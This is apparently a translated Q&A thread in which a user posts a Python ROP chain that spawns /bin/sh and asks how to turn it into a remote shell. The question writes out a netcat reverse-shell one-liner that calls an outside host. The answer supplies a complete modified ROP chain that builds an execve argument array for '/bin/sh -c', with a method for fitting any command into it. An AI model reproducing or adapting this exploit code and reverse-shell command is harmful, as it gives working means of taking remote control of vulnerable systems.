修改 ROP 小工具

Modifying a ROP gadget

我有一个 ROP 小工具,它看起来像这样-

p = ""
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0064) # @ .data + 4
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481f1) # pop ebx ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x0819d91d) # pop ecx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x0805726e) # int 0x80

正如您一定猜到的那样,它只是生成了一个“/bin//sh”。我希望它产生一个远程 shell 其命令是:

rm -f /tmp/$$; mkfifo /tmp/$$ ; cat /tmp/$$ | /bin/sh -i 2>&1 | nc  12.12.12.12 12345 > /tmp/$$

任何人都可以帮助我创建一个小工具来执行远程 shell。我试着看这个 link,但不太明白。

问题是您的示例代码启动了 /bin/sh,这是一个单独的命令,也没有参数。你想要做的是一个管道命令序列。如果您启动一个 shell 并将整个命令作为参数传递给 -c,您就可以执行它。因此,您真正需要的是 /bin/sh -c 'rm -f /tmp/$$; mkfifo /tmp/$$ ; cat /tmp/$$ | /bin/sh -i 2>&1 | nc 12.12.12.12 12345 > /tmp/$$'。这需要对您的序列进行重大修改,因为您必须构建一个参数数组。

为了使代码简短,让我们为 /bin/sh -c "echo OK" 做一个例子。 execve 系统调用需要一个由 NULL 终止的指针数组来指定参数。在原始版本中,这只是一个NULL存储在.data + 8,这个地址被加载到ecx用于系统调用。数据布局如下:

+0: '/bin'
+4: '//sh'
+8: NULL

现在,我们需要添加:

+12: argv[0] = "/bin//sh"
+16: argv[1] = "-c"
+20: argv[2] = "echo OK"
+24: argv[3] = NULL
+28: "-c"
+32: 'echo'
+36: " OK"

请记住,argv[0] 按照惯例用于程序名称。此外,我们需要在 ecx 中为系统调用传递 .data+12

整个事情可能看起来像:

p = ""
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0064) # @ .data + 4
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret

# "-cXX" @ .data+28, the XX will be zeroed later
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e007c) # @ .data + 28
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '-cXX'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
# zero the XX now
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e007e) # @ .data + 30
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret

# build command line @.data+32
# let's do "echo OK" as an example
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0080) # @ .data + 32
p += pack('<I', 0x080f3246) # pop eax ; ret
p += 'echo'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0084) # @ .data + 36
p += pack('<I', 0x080f3246) # pop eax ; ret
p += ' OK.'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
# zero terminator
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0087) # @ .data + 39
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret

# build the argument array @.data+12
# pointer to "//bin/sh" (program name)
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e006c) # @ .data + 12
p += pack('<I', 0x080f3246) # pop eax ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret

# pointer to "-c"
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0070) # @ .data + 16
p += pack('<I', 0x080f3246) # pop eax ; ret
p += pack('<I', 0x081e007c) # @ .data + 28
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret

# pointer to command
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0074) # @ .data + 20
p += pack('<I', 0x080f3246) # pop eax ; ret
p += pack('<I', 0x081e0080) # @ .data + 32
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret

# NULL
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0078) # @ .data + 24
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret

p += pack('<I', 0x080481f1) # pop ebx ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x0819d91d) # pop ecx ; ret
p += pack('<I', 0x081e006c) # @ .data + 12 (argument array)
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x0805726e) # int 0x80

要构建您的命令,您只需将命令拆分为 4 个字节的块,并根据需要多次重复适当的 ROP 块。最后记得零终止。 HTH.